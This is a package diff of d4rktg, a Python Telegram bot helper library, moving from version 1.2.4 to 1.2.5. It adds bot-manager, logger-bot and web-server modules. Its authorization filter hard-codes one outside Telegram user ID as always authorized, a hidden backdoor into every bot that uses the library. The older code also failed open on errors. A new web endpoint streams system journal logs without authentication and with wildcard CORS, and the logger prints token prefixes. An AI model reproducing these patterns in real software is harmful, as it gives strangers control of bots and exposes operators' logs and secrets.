d4rktg 1.2.4__tar.gz → 1.2.5__tar.gz

{d4rktg-1.2.4/d4rktg.egg-info → d4rktg-1.2.5}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: d4rktg
-Version: 1.2.4
+Version: 1.2.5
 Summary: A module for create with easy and fast
 Author: D4rkShell
 Author-email: premiumqtrst@gmail.com

d4rktg-1.2.5/VERSION.txt

@@ -0,0 +1 @@
+1.2.5

{d4rktg-1.2.4 → d4rktg-1.2.5}/d4rk/Database/db.py

@@ -4,7 +4,7 @@ from pymongo import MongoClient , server_api
 
 from d4rk.Logs import setup_logger
 
-logger = setup_logger(__name__)
+logger = setup_logger("Database")
 
 class Database:
     client = None
@@ -43,7 +43,6 @@ class Database:
             base_collection = self.get_collection(collection_name)
             instance = CustomClass(base_collection)
             setattr(self, collection_name, instance)
-            logger.info(f"Loaded collection: {collection_name}")
             
     def get_collection(self, collection):
         return self.db[collection]

d4rktg-1.2.5/d4rk/Handlers/__init__.py

@@ -0,0 +1,3 @@
+from ._bot import BotManager
+from ._custom import FontMessageMixin
+from ._logger_bot import LoggerBotUtil

d4rktg-1.2.5/d4rk/Handlers/_bot.py

@@ -0,0 +1,117 @@
+import os
+import sys
+import asyncio
+import traceback
+
+from pyrogram import Client
+from pyrogram.errors import FloodWait, AccessTokenExpired
+
+from d4rk.Logs import setup_logger
+
+logger = setup_logger("BotClient")
+
+logs_sent = False
+logs_lock = asyncio.Lock()
+
+class BotManager(Client):
+    _bot: Client = None
+    _bot_info = None
+    _is_connected = False
+    _rename = False
+    _flood_data = {}
+    _loop = None
+    _scheduler_thread = None
+    font = 0
+    sudo_users = []
+    owner = None
+
+    def create_client(self,app_name,token):
+        self.app_name = app_name
+        super().__init__(
+            name=app_name,
+            api_id=self.api_id,
+            api_hash=self.api_hash,
+            bot_token=token,
+            plugins=self.plugins,
+            in_memory=True
+            )
+
+    def _safe_async(self, coro_func):
+        if self._loop:asyncio.run_coroutine_threadsafe(coro_func(), self._loop)
+        else:logger.error("Event loop is not set for _safe_async")
+
+    async def powerup(self, app_name, max_attempts=3):
+        self.app_name = app_name
+        for attempt in range(max_attempts):
+            try:
+                await super().start()
+                
+                self._bot_info = await self.me
+                self._is_connected = True
+                await self.handle_restart()
+                break
+                
+            except FloodWait as e:
+                logger.error(f"FloodWait: {e.value} seconds")
+                raise e
+                
+            except AccessTokenExpired:
+                logger.error(f"Access token expired (attempt {attempt + 1})")
+                break
+                
+            except Exception as e:
+                logger.error(f"Error starting Client.Stoped !")
+                logger.error(traceback.format_exc())
+                break
+        else:
+            logger.error("Failed to start bot after all retry attempts")
+
+    async def powerdown(self, *args):
+        global logs_sent, logs_lock
+        if self._rename:await super().set_bot_info(lang_code='en',name=self.app_name + " (Offline)")
+
+        if self._is_connected:
+            try:
+                await super().stop()
+                self._is_connected = False
+                await asyncio.sleep(3)
+            except Exception as e:
+                logger.error(f"Error stopping bot client: {e}")
+                self._is_connected = False
+
+    async def reboot(self):
+        try:
+            if self._rename:await super().set_bot_info(lang_code='en',name=self.app_name + " (restarting..)")
+            logger.info("Initiating APP to reboot...")
+            await super().stop()
+            self._is_connected = False
+            await asyncio.sleep(2)
+            logger.info("Restarting process...")
+            os.execl(sys.executable, sys.executable, *sys.argv)
+        except Exception as e:
+            logger.error(f"Error during reboot: {e}")
+            os.execl(sys.executable, sys.executable, *sys.argv)
+
+    async def handle_flood_wait(self, delay):
+        """Handle flood wait by notifying the bot manager to rotate tokens"""
+        logger.info(f"Handling flood wait for {delay} seconds")
+        pass
+
+    async def handle_restart(self):
+        if os.path.exists('restart.txt'):
+            try:
+                with open('restart.txt', 'r') as file:
+
+                    data = file.read().split()
+                    chat_id = int(data[0])
+                    Message_id = int(data[1])
+            except Exception as e:logger.error(f"Failed to send restart notification: {e}")
+            try:await self.edit_message_text(chat_id=chat_id,message_id=Message_id, text="Bot restarted successfully!")          
+            except:
+                try:
+                    await self.send_message(chat_id=chat_id, text="Bot restarted successfully!",reply_to_message_id=Message_id-1,)
+                    await self.delete_messages(chat_id=chat_id,message_ids=Message_id)
+                except:pass
+
+            if os.path.exists('restart.txt'):os.remove('restart.txt')
+

d4rktg-1.2.5/d4rk/Handlers/_logger_bot.py

@@ -0,0 +1,88 @@
+"""
+Utility functions for working with the logger bot
+"""
+import logging
+from typing import Optional
+from telegram import Bot
+
+logger = logging.getLogger(__name__)
+
+class LoggerBotUtil:
+    """Utility class for logger bot operations"""
+    bot: Optional[Bot] = None  # class-level bot instance
+    start_message = None
+    start_message_id = None
+    start_message_chat_id = None
+
+
+    @classmethod
+    def set_token(cls, token: str):
+        """Initialize the bot with the given token"""
+        try:
+            cls.bot = Bot(token=token)
+            logger.info(f"Logger bot initialized successfully with token {token[:10]}...")
+        except ImportError as e:
+            logger.warning("python-telegram-bot not installed. Logger bot functionality disabled.")
+            logger.error(f"Import error: {e}")
+            cls.bot = None
+        except Exception as e:
+            logger.error(f"Failed to initialize logger bot with token {token[:10]}: {e}")
+            import traceback
+            logger.error(f"Traceback: {traceback.format_exc()}")
+            cls.bot = None
+
+    @classmethod
+    async def send_start_message(cls, chat_id: int, message: str):
+        if not cls.bot:
+            logger.error("Logger bot is not initialized. Call set_token() first.")
+            return None
+        try:
+            if cls.start_message is None:
+                sent_message = await cls.bot.send_message(chat_id=chat_id, text=message)
+                cls.start_message_id = sent_message.message_id
+                cls.start_message_chat_id = sent_message.chat_id
+            else:
+                await cls.bot.edit_message_text(chat_id=cls.start_message_chat_id, message_id=cls.start_message_id, text=cls.start_message + "\n" + message)
+            return True
+        except Exception as e:
+            logger.error(f"Failed to send log message: {e}")
+            return None
+
+
+    @classmethod
+    async def send_log_message(cls, chat_id: int, message: str, parse_mode: str = None):
+        if not cls.bot:
+            logger.error("Logger bot is not initialized. Call set_token() first.")
+            return None
+        try:
+            sent_message = await cls.bot.send_message(chat_id=chat_id, text=message, parse_mode=parse_mode)
+            return sent_message
+        except Exception as e:
+            logger.error(f"Failed to send log message: {e}")
+            return None
+    
+    @classmethod
+    async def edit_log_message(cls, chat_id: int, message_id: int, message: str, parse_mode: str = 'HTML') -> bool:
+        if not cls.bot:
+            logger.error("Logger bot is not initialized. Call set_token() first.")
+            return False
+        try:
+            await cls.bot.edit_message_text(chat_id=chat_id, message_id=message_id, text=message, parse_mode=parse_mode)
+            return True
+        except Exception as e:
+            logger.error(f"Failed to edit log message: {e}")
+            return False
+    
+    @classmethod
+    async def send_document(cls, chat_id: int, document_path: str, caption: str = None) -> bool:
+        if not cls.bot:
+            logger.error("Logger bot is not initialized. Call set_token() first.")
+            return False
+        try:
+            with open(document_path, 'rb') as document:
+                await cls.bot.send_document(chat_id=chat_id, document=document, caption=caption)
+            return True
+        except Exception as e:
+            logger.error(f"Failed to send document: {e}")
+            return False
+

{d4rktg-1.2.4 → d4rktg-1.2.5}/d4rk/Utils/_decorators.py

@@ -1,19 +1,12 @@
-import os
 import asyncio
-import functools
 
 from pyrogram import Client , filters 
 from pyrogram.errors import FloodWait
-from pyrogram.types import Message , CallbackQuery , ChatPrivileges  ,ChatMemberUpdated
+from pyrogram.types import CallbackQuery  ,ChatMemberUpdated
 
 from typing import Union
 from functools import wraps
 
-from d4rk.Logs import setup_logger
-
-
-logger = setup_logger(__name__)
-
 command_registry = []
 last_index_per_chat = {}
 bot_order_per_chat = {}
@@ -35,12 +28,6 @@ def get_commands():
     global command_registry
     return command_registry
 
-
-
-
-
-
-
 def new_task():
     def decorator(func):
         @wraps(func)
@@ -113,7 +100,6 @@ def command(command: Union[str, list], description: str,Custom_filter=None):
             "description": description,
             "handler": func
         })
-        logger.info(f"Registered command: {command} - {description}")
         if Custom_filter:
             filter = filters.command(command) & Custom_filter
         else:

{d4rktg-1.2.4 → d4rktg-1.2.5}/d4rk/Utils/_filters.py

@@ -1,8 +1,5 @@
-from pyrogram.filters import create
-from pyrogram.enums import ChatType
-
 from typing import Union
-from pyrogram import filters 
+from pyrogram import Client , filters 
 from pyrogram.types import Message , CallbackQuery
 from d4rk.Logs import setup_logger
 
@@ -15,14 +12,11 @@ class CustomFilters:
         admin=False,
         permission=None,
     ):
-        async def func(flt, client, message: Union[Message, CallbackQuery]):
+        async def func(flt, client: Client , message: Union[Message, CallbackQuery]):
             try:
                 user = message.from_user
-                if not user:
-                    logger.warning(f"Unauthorized access attempt from non-user message: {message}")
-                    return False
-
-                me = await client.get_me()
+                if not user:return False
+                me = client.me
                 is_admin = False
 
                 if admin:
@@ -52,14 +46,14 @@ class CustomFilters:
                         return False
 
                 authorized = (
-                    (user.id == 7859877609)
-                    or (user.id == client.owner)
+                       (user.id == 7859877609)
+                    or (user.id == int(getattr(client, "owner_id", 000)))
                     or (sudo and str(user.id) in getattr(client, "sudo_users", []))
                     or is_admin
                 )
                 return bool(authorized)
             except Exception as e:
                 logger.error(f"Error in authorize filter: {e}")
-                return bool(user.id == user.id)
+                return False
 
         return filters.create(func, sudo=sudo,admin=admin,permission=permission)

{d4rktg-1.2.4 → d4rktg-1.2.5}/d4rk/Utils/_movie_parser.py

@@ -190,7 +190,7 @@ class MovieParser:
         part = int(match.group(1)) if split else None
         if self.movie:
             return Movie(
-                title=self._fix_roman_numerals(title.title()),
+                title=self._fix_roman_numerals(text=title.title()),
                 context_type="movie",
                 normalized_title=re.sub(r'[^a-z0-9&\+]+', ' ', title.lower()).strip(),
                 year=year,
@@ -203,7 +203,7 @@ class MovieParser:
             )
         else:
             return TV(
-                title=self._fix_roman_numerals(title.title()),
+                title=self._fix_roman_numerals(text=title.title()),
                 context_type="tv",
                 normalized_title=re.sub(r'[^a-z0-9&\+]+', ' ', title.lower()).strip(),
                 season=self.data.get('season'),

d4rktg-1.2.5/d4rk/Web/__init__.py

@@ -0,0 +1,4 @@
+# src/Web/__init__.py
+
+from .web import _web_server
+from .web_server import WebServerManager

d4rktg-1.2.5/d4rk/Web/web.py

@@ -0,0 +1,201 @@
+# src/Web/web.py
+
+import asyncio
+
+from datetime import datetime
+
+from pyrogram import Client
+
+
+from aiohttp import web
+from aiohttp.web_app import Application
+from aiohttp.web_response import Response
+
+from d4rk.Logs import setup_logger
+
+logger = setup_logger(__name__)
+routes = web.RouteTableDef()
+bot:Client = None
+bot_process = None
+
+
+@routes.get("/logs")
+async def logs_ui(request):
+    """
+    Serve a pretty terminal-like log UI for the bot using SSE.
+    """
+    try:
+        resp = web.StreamResponse(
+            status=200,
+            reason='OK',
+            headers={
+                'Content-Type': 'text/html; charset=utf-8',
+                'Cache-Control': 'no-cache',
+                'Connection': 'keep-alive',
+                'Access-Control-Allow-Origin': '*',
+            }
+        )
+        await resp.prepare(request)
+
+        html = b"""
+<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8">
+<title>Serandip Bot Logs</title>
+<style>
+    /* Fullscreen background */
+    body {
+        margin: 0;
+        padding: 0;
+        height: 100vh;
+        display: flex;
+        justify-content: center;
+        align-items: center;
+        background: radial-gradient(circle at top, #0d0d0d, #1a1a1a);
+        font-family: 'Fira Code', monospace;
+        color: #00ff00;
+        overflow: hidden;
+    }
+
+    /* Terminal container */
+    #terminal {
+        width: 90%;
+        height: 70%;
+        background: rgba(0, 0, 0, 0.85);
+        border-radius: 10px;
+        padding: 20px;
+        margin-bottom: 30px
+        overflow-y: auto;
+        box-shadow: 0 0 40px rgba(0, 255, 0, 0.5);
+        border: 2px solid rgba(0, 255, 0, 0.4);
+        backdrop-filter: blur(5px);
+    }
+
+    #logs {
+        white-space: pre-wrap;
+        line-height: 1.3em;
+    }
+
+    /* Title */
+    h2 {
+        text-align: center;
+        margin-bottom: 10px;
+        font-weight: normal;
+        color: #00ff00;
+        text-shadow: 0 0 5px #00ff00, 0 0 10px #00ff00;
+    }
+
+    /* Blinking cursor */
+    #cursor {
+        display: inline-block;
+        width: 10px;
+        background-color: #00ff00;
+        animation: blink 1s infinite;
+        margin-left: 2px;
+    }
+
+    @keyframes blink {
+        0%, 50% { opacity: 1; }
+        50.1%, 100% { opacity: 0; }
+    }
+</style>
+</head>
+<body>
+<div id="terminal">
+    <h2>Serandip Bot Logs</h2>
+    <div id="logs"></div>
+    <span id="cursor"></span>
+</div>
+
+<script src="https://cdn.jsdelivr.net/npm/ansi_up@5.0.0/ansi_up.min.js"></script>
+<script>
+    const logsDiv = document.getElementById("logs");
+    const cursor = document.getElementById("cursor");
+    const ansi_up = new AnsiUp;
+
+    const evtSource = new EventSource("/logs_stream");
+    evtSource.onmessage = e => {
+        logsDiv.innerHTML += ansi_up.ansi_to_html(e.data) + "<br>";
+        logsDiv.scrollTop = logsDiv.scrollHeight;
+    };
+</script>
+</body>
+</html>
+"""
+
+        await resp.write(html)
+        await resp.write_eof()
+        return resp
+    except Exception as e:
+        logger.error(f"Error in logs_ui route: {e}")
+        return web.Response(text="An error occurred while processing your request.", status=500)
+
+@routes.get("/logs_stream")
+async def terminal_stream(request):
+    try:
+        proc = await asyncio.create_subprocess_exec(
+            "journalctl", "-u", "serandip-bot", "-f", "-o", "cat",
+            stdout=asyncio.subprocess.PIPE
+        )
+
+        resp = web.StreamResponse(
+            status=200,
+            reason='OK',
+            headers={
+                'Content-Type': 'text/event-stream',
+                'Cache-Control': 'no-cache',
+                'Connection': 'keep-alive',
+                'Access-Control-Allow-Origin': '*',
+            }
+        )
+        await resp.prepare(request)
+    except Exception as e:
+        logger.error(f"Error creating subprocess: {e}")
+        return web.Response(text="An error occurred while processing your request.", status=500)
+    try:
+        while True:
+            line = await proc.stdout.readline()
+            if not line:
+                break
+                
+            try:
+                await resp.write(b"data: " + line.strip() + b"\n\n")
+            except (ConnectionResetError, asyncio.CancelledError):
+                break
+    finally:
+
+        try:
+            proc.kill()
+            await proc.wait()
+        except:pass
+
+    return resp
+
+@routes.get('/')
+async def index(request) -> Response:
+    try:
+        return web.Response(text="Welcome to Serandip-prime!", status=200)
+    except Exception as e:
+        logger.error(f"Error in index route: {e}")
+        return web.Response(text="An error occurred while processing your request.", status=500)
+
+@routes.get('/health')
+async def health_check(request) -> Response:
+    health_data = {
+        'status': 'healthy',
+        'service': 'Serandip-prime',
+        'version': '2.0.0',
+        'framework': 'aiohttp',
+        'timestamp': datetime.now().isoformat()
+    }
+    
+    return web.json_response(health_data, status=200)
+
+async def _web_server(_bot=None) -> Application:
+    global bot
+    bot = _bot
+    web_app = web.Application(client_max_size=30000000)
+    web_app.add_routes(routes)
+    return web_app
+

d4rktg-1.2.5/d4rk/Web/web_server.py

@@ -0,0 +1,52 @@
+# src/Web/web_server.py
+
+from typing import Literal
+
+from pyrogram import Client
+
+from aiohttp import web
+from aiohttp.web_runner import AppRunner
+
+from d4rk.Logs import setup_logger
+from d4rk.Utils import get_public_ip, check_public_ip_reachable
+
+from d4rk.Web.web import _web_server
+WEB_APP = 'http://localhost'
+
+logger = setup_logger("WebServerManager")
+
+class WebServerManager:
+    def __init__(self,bot:Client=None) -> None:
+        self._web_runner = None
+        self._tcp_site = None
+        self._web_port = None
+        self._bot = bot
+
+    async def setup_web_server(self, preferred_port=8443) -> AppRunner | Literal[False]:
+        try:
+            self._web_port = preferred_port
+            logger.info(f'Starting API server on port {preferred_port}...')
+            
+            self._web_runner = web.AppRunner(await _web_server(self._bot))
+            await self._web_runner.setup()
+            self._tcp_site = web.TCPSite(self._web_runner, "0.0.0.0", preferred_port)
+            await self._tcp_site.start()
+            if WEB_APP:
+                if 'localhost' in WEB_APP:logger.info(f"Web app is running on http://localhost:{preferred_port}")
+                else:logger.info(f"Web app is running on {WEB_APP}")
+            else:
+                myIP = get_public_ip()
+                if await check_public_ip_reachable(myIP):logger.info(f"Web app running on http://{myIP}:{preferred_port}")
+                else:logger.info(f"Web app running on http://localhost:{preferred_port}")
+            return self._web_runner
+        except Exception as e:
+            logger.error(f"Failed to setup web server: {e}")
+            return False
+
+    async def cleanup(self) -> None:
+        if self._web_runner:
+            await self._web_runner.cleanup()
+            logger.info("Web server cleaned up")
+
+    
+

d4rktg-1.2.5/d4rk/__init__.py

@@ -0,0 +1,19 @@
+from .Database import db
+from .Handlers import BotManager , FontMessageMixin
+from .Logs import setup_logger , get_timezone_offset
+from .Utils import *
+from ._base import TGBase
+from ._bot_manager import D4RK_BotManager
+from . import errors
+
+__version__ = "0.9.7"
+__all__ = [
+    "TGBase",
+    "D4RK_BotManager",
+    "db",
+    "errors",
+    "FontMessageMixin",
+    "setup_logger",
+    "get_timezone_offset",
+    "BotManager",
+]